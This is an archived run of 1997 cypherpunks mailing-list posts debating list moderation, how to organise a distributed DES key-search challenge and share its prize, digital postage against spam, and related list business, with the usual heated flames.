> PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.
> 
> Thank you for your interest in Dia Center for the Arts.
> 
> Dia Center for the Arts
> 548 West 22nd Street
> New York, NY 10011
> http://www.diacenter.org
> 
> 

Here it is:

Return-Path: <owner-cypherpunks@sirius.infonex.com>
Received: from sirius.infonex.com (majordom@sirius.infonex.com
[206.170.114.2]) by ixmail5.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
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Received: (from majordom@localhost) by sirius.infonex.com
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(PST) Received: (from nobody@localhost) by diacenter.org
(8.6.12/8.6.12) id KAA03924 for cypherpunks@toad.com; Sat, 15 Feb 1997
10:39:28 GMT Date: Sat, 15 Feb 1997 10:39:28 GMT From: List-Owner
<nobody@diacenter.org> Message-Id:
<199702151039.KAA03924@diacenter.org> Subject: Welcome Apparently-To:
cypherpunks@toad.com Sender: owner-cypherpunks@sirius.infonex.com
Precedence: bulk Reply-To: cypherpunks@toad.com X-List:
cypherpunks@cyberpass.net X-PMFLAGS: 34603136 0

Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other
programs.

If you have questions or would like to request more press information,
please contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566
x 118.

If you would like to stop receiving mailings, please send an email to
list-owner@diacenter.org with the subject line "Remove me from Dia
News."

PLEASE NOTE: You may receive more than one message indicating a
succesful subscription.  If you joined more than one of Dia's mailing
lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 14:47:32 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <330606D5.403A@gte.net>
Message-ID: <199702152242.QAA20900@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dave Hayes wrote:
> > > > > Ok. I'll "put up".
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> > 
> > I think that the ideas of a distributed list and the idea of
> > alt.cypherpunks are both good and these two mediums complement
> > each other.
> 
> I can certainly accept this, but it would be nice if someone summarizes
> these feeds every now and then, as time to check them all out is very
> limited.
> 

I agree entirely.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 14:51:47 -0800 (PST)
To: roy@scytale.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <970215.101958.0t3.rnr.w165w@sendai.scytale.com>
Message-ID: <199702152245.QAA20937@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Roy M. Silvernail wrote:
> > Clearly, spammers who pay their readers to read their messages (and who
> > do get them to read) will have a very high response rate. That may 
> > justify adding postage to their letters.
> 
> It should also spur development of intelligent agents which can retrieve
> this cash without human intervention.  Spammers will doubtless alter
> their pages to require more interaction to find the key to the cash.
> Then the IA's will be improved.  Then... remember the copy protection
> wars?  This isn't necessarily a negative point.
> 
> > The advantages are obvious. The disadvantage is a possibility of someone
> > stealing the money on the way, if the letters are not encrypted.
> 
> Or that the money wasn't there in the first place (absent a trusted
> signature system), or the key doesn't exist, or the wrong key is
> offered, or the sender put the same e-dollar on all 60000 mails sie
> sent and it's already been redeemed.

Well, if the trusted party performs the encryption by both recipient's
public key and the "retrieval key", the problem that you mention can 
be avoided.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Sat, 15 Feb 1997 08:54:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <51662D33w165w@bwalk.dm.com>
Message-ID: <19970215165408.26292.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:

> >   * If gays ruined usenet, does that mean at one point usenet was a
> >     good thing before it was ruined?  If so, gay people at least
> >     deserve credit for creating something good, even if they didn't
> >     manage to run it well.
> 
> Suppose for argument's sake that the people who created Usenet all
> happened to be gay. Why would "gay people" as a whole, most of whom
> had nothing to do with it, deserve credit for it?

Okay.  Suppose for argument's sake that the people who are censoring
Usenet all happen to be gay?  Why, then, would all gay people deserve
blame for these actions?

Now suppose they aren't gay.  Them whom are these homohpobic rants
really attacking?  Gay people or censors?  If you say, for instance,
"New cypherpunks list for heterosexuals only", who do you think is
actually going to be affected by this?  Certainly not Gilmore who is
completely disillusioned with cypherpunks at this point and not likely
to subscribe any mailing list a person like that runs anyway.  Rather,
you are attacking people who happen to be gay but would otherwise be
interested in subscribing to the mailing list.

Now suppose it's not instantly possible to discern a person's sexual
orientation over the internet, as Dr. Grubor claims it is.  Suppose
further that some of the people who censor Usenet are gay, and others
aren't.  Some of the people in favor of free speech are gay, others
are not.  Many of those who are straight don't just come out and say,
"I am not gay," for the simple reason that they oppose discrimination
based on sexual orientation and don't believe one's sexual orientation
should be relevant to a debate on censorship.  In such a case,
refocusing the debate on homosexuality rather than censorship hardly
furthers your objectives.

I believe homophobia is a great way to bring out the censors in
people.  However, inducing censorship is only part of fighting it.
You also need respectable people to some in, argue cogently against
the dangers of censorship, perhaps even get some extremely reasonable
articles suppressed, and then spread the word about it.  I find the
freedom-knights tactics' extremely lacking in this second, "clean up
and analyze the mess" phase.

As a recent example illustrates well, Vulis did a nice job of inducing
censorship on cypherpunks.  However, I think most peoples' opinions
didn't really turn, or at least people didn't realize how serious
things were and didn't really care, until Tim May [someone the many
freedom-knights hate] started criticizing this censorship in extremely
reasonable messages that were suppressed from both the -edited and
-flames mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 16:51:53 -0800 (PST)
To: Adam Back <cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <v03007801af2c0a2cc906@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 PM +0000 2/15/97, Adam Back wrote:
>Thomas S <ths@fh28.fa.umist.ac.uk> writes:
>> [...]
>>
>> 5. The prize money will be split equally between Gutenberg and EFF.
>>    There is a possibility of using part of it for stickers or
>>    something similar, but don't count on it.
>
>Not a good idea.
>
>How can this be enforced?  The RSADSI DES challenge is open to all
>comers, and how do you prove that someone who finds the key found it
>through this group effort?
>
>I have a suspicion many people would be tempted to fill in the RSA
>challenge form and email it in themselves.  $10,000 is a fair amount
>of money.

Once again, the advantages of an "uncoordinated search" should be
mentioned. An uncoordinated search, in which people randomly search chunks
of keyspace is obviously less efficient than a coordinated search where no
part of the space is searched two or more times.

However, an uncoordinated search is only less efficient by a small factor
of two or three, with a 95% probability that the key will be found with an
effort "only" 3 times greater than with a coordinated search. (The Poisson
probability distribution is what's involved here, and the math is fairly
easy to work out.)

A 2-4x factor is significant, and may warrant a coordinated search.
However, the various problems implicit in coordinated searches are factors,
too.

Also, an uncoordinated search solves the "prize" problem, as whomever finds
the key makes  the contact with RSADSI.

One of the problems with a coordinated search, if the remaining keyspace to
be doled out is publically announced, is that as the keyspace is searched
and a key _not_ found, the remaining keyspace is increasingly more tempting
for "independent searchers" to search. Sort of the way the odds on some
lotteries actually become "acceptable" as the lottery pot grows. The
organizer of the coordinated search must then, I surmise, keep the
assignments secret and dole out keyspace securely.

Having the prize money go to the finder of the key, as opposed to some
artificial division between EFF, Gutenberg, etc., is also an incentive for
people to contribute more CPU time.

--Tim May





>I know I would be tempted.  I have been running Svend Olaf's DES code,
>and my intention in the unlikely event that I hit the key had been to
>claim the money.
>
>How does it hurt the publicity if the actual individual who finds the
>key takes the money?  Surely it adds excitement to the story?
>
>In fact it would provide people with a possibly more powerful
>incentive to try to break the key in the first place -- in the hopes
>of winning the prize!  $10,000 means more to a lot of people than
>opposing ITAR/EAR, and participating in a technical challenge.  To
>start with a lot of people who's CPUs we could be using don't even
>know what ITAR/EAR are!
>
>> We hope to get a working system up and running ASAP. The fact alone
>> that DES is seriously challenged (with a reasonable time frame)
>> should give us quite some publicity (by the time the system is
>> ready). If we can make use of that, we will have significantly more
>> client than for the 48 bit key.
>
>I would have thought announcing that $10,000 can be won by running
>easy to use windows software on a wide selection of newsgroups would
>get you lots of CPUs!
>
>Adam
>--
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 15 Feb 1997 15:58:49 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: More on digital postage
In-Reply-To: <199702151911.LAA01322@toad.com>
Message-ID: <199702160102.RAA00745@songbird.com>
MIME-Version: 1.0
Content-Type: text


jim bell allegedly said:
> 
> 
> No, you're taking the issue to ridiculous extremes.    That's why we have 
> doors, and locks, etc.  And, for that matter, "No trespassing" signs.  
> 
> But having an address, and a walkway, and a doorbell is generally considered 
> if not explicit permission, but at least toleration of the idea that 
> somebody can walk up and knock on the door, etc. 

But if someone leans on my doorbell for 4 hours solid, I can call the 
police and have them carted away.  Carried to extremes, it's criminal 
trespass. 

> Having a telephone with a 
> number that anyone can dial is going to result in some level of intrusion.  
> Having a fax machine is a similar issue, unless technology provides a way to 
> block unwanted faxes.
> 
> I certainly don't claim that we shouldn't try to do anything about these 
> limitations!  Quite the opposite, technology should be employed to protect 
> privacy.  But faxes are not fundamentally different than telephones, 
> doorbells, and walkways:  They facilitate interaction, even potentially 
> undesirable interaction.

And, just as in the case with my doorbell, when the undesirable 
interaction gets past some reasonable limit, legal action can be taken.

> >	Nope. Sure I realize that they _can_, but that doesn't make it right,
> >and it doesn't make it legal. 
> 
> "Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
> bunch of brainless legislators get together and disapprove.

Arbitrary or not, it has real world consequences.  But then most 
things with real world consequences are arbitrary, unlike libertarian 
fantasies, which enjoy the luxury of unreality.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:11:42 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
In-Reply-To: <199702151802.KAA22867@mail.pacifier.com>
Message-ID: <33066CC5.74C8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> At 11:40 AM 2/15/97 -0600, snow wrote:
> >Mr. Bell wrote:

> But having an address, and a walkway, and a doorbell is generally considered
> if not explicit permission, but at least toleration of the idea that
> somebody can walk up and knock on the door, etc.  Having a telephone with a
> number that anyone can dial is going to result in some level of intrusion.
> Having a fax machine is a similar issue, unless technology provides a way to
> block unwanted faxes.

There are some neato methods to deal with the door and the phone,
but I haven't investigated faxes since I don't run one at home.

For the door, you can have a locked gate so they can't knock on the
door,
and an adjustable volume ringer or phone at the gate that's easy to
ignore
when you don't want them to know you're there and you're ignoring them.
If the gate is not practical, at least put a locked screen door in
front of the regular door, and the ringer or whatever outside the
screen.
For more aggressive pests, some signs might be necessary.

For the phone, you can do like I did, and simply remove (or break)
the outgoing message tape, so when they call, all they get is a beep
and they'll have to think fast or they're cut off.  Cuts way back
on pesky calls, but allows your loyals to leave messages or speak
so you'll know who it is.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:14:52 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: FBI_100
In-Reply-To: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
Message-ID: <33066D8F.1159@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> "Phone Companies Balk At Latest Plan by FBI." Markoff.
>    Telcos are arguing that the new system will be far more
>    intrusive and expensive than industry first thought, and
>    would expand LEA wiretap capabilities 100-fold. "This is
>    kind of scary. What does the FBI know about our future
>    that we don't?"
> See the FBI's latest wiretap plan at:
>    http://jya.com/fbi011497.txt

You could start by interviewing Freeh's own kids, who conspired
(according to the L.A. Times) to have the local police make a
call the other night.  According to Freeh, "I dealt with my kids
in a most un-Constitutional and autocratic manner" (quote approx.).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:21:36 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702152355.PAA00282@songbird.com>
Message-ID: <33066F12.60CB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> Dale Thorn allegedly said:
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.

> Dave is offering a single mailing list, which, while I am sure Dave is
> a great person, still represents a single point of control and a
> single point of failure.  A distributed mailing list has a potential
> for being much more robust, and for supporting a wide range of
> viewpoints.  Furthermore a distributed mailing list is an interesting
> minor technical problem, and a good solution could have wide
> applicability.
> So I think that people would like to get the distributed list going...

I hope this doesn't duplicate the earlier message - if someone were
tracking all this activity and kept the lists informed about what
was available where - and particularly if the downloading could be
automatic as in the subscription lists - that would be ideal.

I wanted to spend some time on alt.cypherpunks, but I haven't got
thru the subscription mail for the last few days yet.  If there's
a scheme that works better than just ad-hoc looking, I'd sure like
to know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 15 Feb 1997 18:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <199702160222.SAA10114@netcom21.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:

 > How can this be enforced?  The RSADSI DES challenge is open
 > to all comers, and how do you prove that someone who finds
 > the key found it through this group effort?

 > I have a suspicion many people would be tempted to fill in
 > the RSA challenge form and email it in themselves.  $10,000
 > is a fair amount of money.

Of course they will.  If the unsearched portions of the keyspace
are published, you can just sit back until the odds go up and
then throw some CPU power at it.  There is no obligation on the
part of the individual who finds the key to not claim the prize
personally.

The issues of random keyspace assignment to protect against
sabotage and centralized monolithic server vs autonomous client
have been debated on the "muffin" list, where I have been
lurking, but the people in charge seem to like explicit keyspace
partitioning and servers a lot.

Should be an interesting effort.

By the way, does anyone know if des-challenge@muffin.org is
alive?  I haven't seen any messages from it in over a day and
majordomo is not responding to inquiries.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 18:34:00 -0800 (PST)
To: snow <tcmay@got.net (Timothy C. May)
Subject: Re: More on digital postage
Message-ID: <199702160232.SAA14084@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:33 PM 2/15/97 -0600, snow wrote:
>Mr. May wrote: 
>> At 11:40 AM -0600 2/15/97, snow wrote:
>> >	That is a ridiculous argument. The door to my home is connected
>> >to the street,m and I know full well that that makes it easy for anyone
>> >to come wandering in to my home. Is it legal, just because I have my
>> >home hooked to the street, for someone to come in and help themselves to
>> >a beer out of my fridge?
>> 
>> The proper parallel is to _knocking on the door_. Talking about "unwanted
>> phone calls" or "unwanted faxes" as being equivalent to entering a house
>> and wandering around is incorrect.
>
>	With phone calls, yes. With unwanted faxes no. With Phone Calls, 
>and knocks on the door I have the option of simply not answering. Faxes
>(in certain enviroments) you can't do that with. 


That's a technlogical problem, and deserves a technological solution.

>
>> Our society fairly reasonably allows tort relief for, say, having one's
>> doorbell rung frequently or at odd hours. On the fax issue, similar tort
>> relief could be obtained if a person or business was truly "under attack."
>> (Purists, like me, would probably prefer technological solutions even in
>> these cases. Leave a phone on answering machine mode, only switch on the
>> fax mode when a fax is expected, etc.)
>
>	Or simply a societal acceptance of retaliation(sp?) Someone who
>constantly wakes you up in the middle of the night, well you just arrange
>it so they get no sleep. 

Well, I've proposed such a system before...


>> These tort actions are a far cry from proposals that anyone whose knock on
>> the door, or phonecall, or e-mail, or fax is subject to criminal
>> prosecution under proposed new laws.
>> (I think the courts are already clogged enough, and I have faith that no
>> court in the land will accept a case where no real harm was done. A friend
>> of mine got mailbombed with 25,000 e-mail messages in one day, shutting
>> down his account until the mess could be cleaned up, and it's not even
>> likely he'll ever get any relief.)
>
>	I (I think like you) feel that almost no one will get convicted
>of these "crimes" unless the attacker simply goes too far. 

Which is why my first choice is, uh, and alternative method of "justice."


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Sat, 15 Feb 1997 18:36:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DES challenge organisation
In-Reply-To: <199702152256.WAA00403@server.test.net>
Message-ID: <9702151836.ZM26501@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 15,  5:01pm, Timothy C. May wrote:
> Subject: Re: (fwd) DES challenge organisation
> However, an uncoordinated search is only less efficient by a small factor
> of two or three, with a 95% probability that the key will be found with an
> effort "only" 3 times greater than with a coordinated search. (The Poisson
> probability distribution is what's involved here, and the math is fairly
> easy to work out.)
> 
	The motivation to crack the DES challenge is more the
political one of proving DES (aka 56 bit encryption in the popular press)
insecure than the financial one of getting the $10,000 prize. To actually
get a good mesaure of the strength of DES using this approach, the number
of machines that participated in the attack and the time they spend
has to be known. This is a main reason why Germano's team prefers
the search to be co-ordinated and why they have been asking people not
to start the search before the server is ready.

> One of the problems with a coordinated search, if the remaining keyspace to
> be doled out is publically announced, is that as the keyspace is searched
> and a key _not_ found, the remaining keyspace is increasingly more tempting
> for "independent searchers" to search. Sort of the way the odds on some
> lotteries actually become "acceptable" as the lottery pot grows. The
> organizer of the coordinated search must then, I surmise, keep the
> assignments secret and dole out keyspace securely.
 
	Knowing the number of people they were able to get to participate
in the RC5 attack, this is not a significant problem. They are going to
have 5000 clients nibbling away on the not-yet-searched keyspace. Some 
Johnny-come-lately trying to muscle in on the action towards the end
is not going to make a significant dent in their chances of hitting the
correcy key first.

> Having the prize money go to the finder of the key, as opposed to some
> artificial division between EFF, Gutenberg, etc., is also an incentive for
> people to contribute more CPU time.

	Again, they didn't have a problem getting people to join in on
the RC5/32/12/6 attack. At least the same number of people can be expected
to join in for the DES attack, giving an estimated search time of around
eight months, if nobody else builds a hardware DES cracker first.

--
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:44:20 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The EFF
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <33067402.1C4D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Timothy C. May wrote:
> > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> It is my (limited) understanding that the EFF has discovered that
> the support that comes with private philanthropy from will o'wisp
> Bay Area 'liberals' doesn't carry the terrible burden of having to
> compete for the petty contributions of the UnRich.
> I have a brother-in-law who gives seminars to the Nouveau Riche in
> the Bay Area, teaching them how to give their money away to 'good'
> causes. I believe that one of the prime considerations in separating
> the 'good' causes from the 'bad' causes has something to do with the
> the proper wine being served with the cheese and cracker offerings
> during their cocktail parties.

Wine and cheese are the key.  You hit that one on the head.  I tried
those Mensa parties in Beverly Hills a few times, but the girls want
you to kiss their hands like some kinda princesses or something,
whereas I think a simple handshake would suffice.  So I just quit
going.  Maybe this has something to do with why there are no c-punks
meetings in the L.A. area.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 18:44:51 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The EFF
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <33067467.55B4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Timothy C. May wrote:
> > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> It is my (limited) understanding that the EFF has discovered that
> the support that comes with private philanthropy from will o'wisp
> Bay Area 'liberals' doesn't carry the terrible burden of having to
> compete for the petty contributions of the UnRich.
> I have a brother-in-law who gives seminars to the Nouveau Riche in
> the Bay Area, teaching them how to give their money away to 'good'
> causes. I believe that one of the prime considerations in separating
> the 'good' causes from the 'bad' causes has something to do with the
> the proper wine being served with the cheese and cracker offerings
> during their cocktail parties.

Wine and cheese are the key.  You hit that one on the head.  I tried
those Mensa parties in Beverly Hills a few times, but the girls want
you to kiss their hands like some kinda princesses or something,
whereas I think a simple handshake would suffice.  So I just quit
going.  Maybe this has something to do with why there are no c-punks
meetings in the L.A. area.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 15:50:47 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <51662D33w165w@bwalk.dm.com>
Message-ID: <33064CBA.6765@earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> 
> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> 
>I believe homophobia is a great way to bring out the censors in
>people.  However, inducing censorship is only part of fighting it.
>You also need respectable people to some in, argue cogently against
>the dangers of censorship, perhaps even get some extremely reasonable
>articles suppressed, and then spread the word about it.  I find the
>freedom-knights tactics' extremely lacking in this second, "clean up
>and analyze the mess" phase.
> 

  Yes but the process is a very long term one--you seemed focused
on this specific instance.  I'm especially interested in the demise
of plug pulling sys admins for example--they should be hung by their
balls from the highest pole--the kind of net.slime EFF protects.  As
for analysis and cleanup that's a bit easier to contain on a list
as opposed to the usenet at large.

>As a recent example illustrates well, Vulis did a nice job of inducing
>censorship on cypherpunks.  However, I think most peoples' opinions
>didn't really turn, or at least people didn't realize how serious
>things were and didn't really care, until Tim May [someone the many
>freedom-knights hate] started criticizing this censorship in extremely
>reasonable messages that were suppressed from both the -edited and
>-flames mailing list.

  And for that to happen vivid examples of such censorship had to 
occur and a snake was exposed as being a snake.  Seems like it worked
extremely well to me.  It also appears that the cleanup you rightly
refer to is happening as a natural progression--same will be true
hopefully on a broader scale on usenet when others personally get
a taste of the censorship that is lurking behind every corner.  
And for those who jumped on the bandwagon because Mr. May was
being censored as oppossed to Dr. Vulis--they are sad people indeed.

                          Steve




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sat, 15 Feb 1997 19:30:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Mirrors and replies-to
In-Reply-To: <v03020908af2b83b6280d@[139.167.130.246]>
Message-ID: <v03007808af2c28714db4@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:24 AM -0800 2/15/97, Robert Hettinga wrote:
<SNIP>
>However, I would like it if the mirror operators would reinstantiate a
>feature of the original list for me. The reply-to field on the mirrors is
>currently set to cypherpunks@toad.com. On the original list, this was set
>to "sender", both to keep people from replying to the list unnecessarily
>(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
>big problem, especially when you guys put together your neo-netnews
>mailring. (a little jyaism, that... :-)).

After some discussion, the reply-to: cypherpunks@toad.com was a deliberate
choice. I wanted to ensure that the list at cyberpass did not become an
island. Once the main list expires, the reply-to will be changed to the
sender.

	-Lance

----------------------------------------------------------
Lance Cottrell   loki@obscura.com
PGP 2.6 key available by finger or server.
http://www.obscura.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sheldon@sdsu.edu (Sheldon Glass)
Date: Sat, 15 Feb 1997 19:16:13 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: cypherpunks@toad.com
Message-ID: <v02130501af2c2834f1fd@[130.191.78.42]>
MIME-Version: 1.0
Content-Type: text/plain


I'm a very long term lurker writing to thank you for hosting the mailing
list.  It was surprising that the list, if not the community, was as
vulnerable to twits like Vulis as it appears.  It's a valuable lesson.
When cypherpunks rise from these ashes I hope that designers of
alternatives will remember the Alamo so to speak.

--
sheldon glass             |                        Plauger's Dogma
sglass@mail.sdsu.edu      |                No program may leave its sanity
#include <std.disclaimer> |                   at the mercy of its input.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 17:10:00 -0800 (PST)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: Mirrors and replies-to
In-Reply-To: <199702151557.HAA23736@toad.com>
Message-ID: <199702160129.TAA05791@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> However, I would like it if the mirror operators would reinstantiate a
> feature of the original list for me. The reply-to field on the mirrors is
> currently set to cypherpunks@toad.com. On the original list, this was set
> to "sender", both to keep people from replying to the list unnecessarily
> (hah! :-)) but also to keep mail loops from forming. Mail loops could be a
> big problem, especially when you guys put together your neo-netnews
> mailring. (a little jyaism, that... :-)).

	As to the Mailloops: Majordomo seems (at least to me) to be 
pretty good about handling those kinds of things. If you configure it 
right. 

	I would rather have the replyto:cypherpunks as I am rather lazy, and
would like to be able to save everything in one file easily. 

	Just my $0.01.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 15 Feb 1997 11:40:27 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <856035210.710275.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > Here I can agree, I personally discriminate on the basis of sex, not 
> > in that I believe women inferior to men but rather that I believe 
> > each sex better suited to different tasks and vocations.
> > That is not, however, to say that I believe women should be prevented 
> > from taking up lines of work that men traditionally hold.
> > They are free to do so, but as in the example you give later 
> > I would feel uncomfortable having my car serviced by a woman.
> 
> <flame-retardant suit on>
> 
> Normally I would ignore this sort of comment (which probably belongs in 
> some soc. newsgroup), but I feel obliged to point out that:
> 
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do 
> whatever it is, and IMHO are more likely to try harder.

Not my point, I didn`t say I would refuse, as in my example, to have 
my car serviced by a woman, rather, that I would not feel comfortable 
doing so. This is not prejudice, it is a statistical judgement based 
on the fact that, as a percentage, I know few women who are competent 
car mechanics but I know a number of men who, by the same criteria, I 
would call competent. 

> Chicken and Egg: How much of "each sex [is] better suited to different
> tasks" is due to little girls being pulled away from the Lego and toy
> trucks, and encouraged to play with Barbies?  Being told that they are 
> *pretty* not *smart* as a form of approval? 

Very much so, I did not intend, even though my post may have appeared 
that way, for one minute to suggest that women were *unable* to carry 
out certain tasks, just that they seem less suited to certain 
vocations that others. For example, I know a number of good female 
History or English students but very few good female mathematics 
or computer science students. This is not, I believe, because women are 
not "suited" to computer science rather that they have never been encouraged 
at high school etc. to learn about such subjects which are seen as male preserves. 
I wholeheartedly believe this should not be the case, and my original 
post may have been misleading, I just believe that in the current 
system very few women do become good at science/technical subjects.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Sat, 15 Feb 1997 19:35:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Where is the reorg FAQ?
Message-ID: <9702151935.ZM26624@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


